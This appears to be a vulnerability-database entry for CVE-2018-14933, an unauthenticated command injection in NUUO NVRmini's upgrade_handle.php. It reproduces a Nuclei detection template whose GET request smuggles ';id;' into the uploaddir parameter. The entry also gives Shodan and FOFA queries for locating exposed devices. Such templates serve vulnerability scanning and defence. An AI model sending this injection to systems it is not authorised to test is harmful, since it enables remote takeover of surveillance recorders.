CVE-2018-14933: NUUO NVRmini - Remote Command Execution

日期: 2025-08-01 | 影响软件: NUUO NVRmini | POC: 已公开

漏洞描述

NUUO NVRmini is vulnerable to unauthenticated remote command execution through the upgrade_handle.php file. The vulnerability allows an attacker to execute arbitrary commands by manipulating the uploaddir parameter.

PoC代码[已公开]

id: CVE-2018-14933

info:
  name: NUUO NVRmini - Remote Command Execution
  author: ritikchaddha
  severity: critical
  description: |
    NUUO NVRmini is vulnerable to unauthenticated remote command execution through the upgrade_handle.php file. The vulnerability allows an attacker to execute arbitrary commands by manipulating the uploaddir parameter.
  reference:
    - https://www.exploit-db.com/exploits/45070
    - https://www.cve.org/CVERecord?id=CVE-2018-14933
    - https://nvd.nist.gov/vuln/detail/CVE-2018-14933
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-14933
    cwe-id: CWE-78
    epss-score: 0.93752
    epss-percentile: 0.99852
    cpe: cpe:2.3:o:nuuo:nvrmini_firmware:2016:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nuuo
    product: nvrmini_firmware
    shodan-query: title:"NUUO"
    fofa-query: title="NUUO"
  tags: cve,cve2018,nuuo,rce,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;id;%27"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ebe7cd9fb0832cf95c9e6142688304f99715392eea36e8a549ce0cc884e8e356022100e9d5eb65cfa304c5040b02ff541361fdcdc172d74cb9978eb8d9681123b941b8:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-14933.yaml

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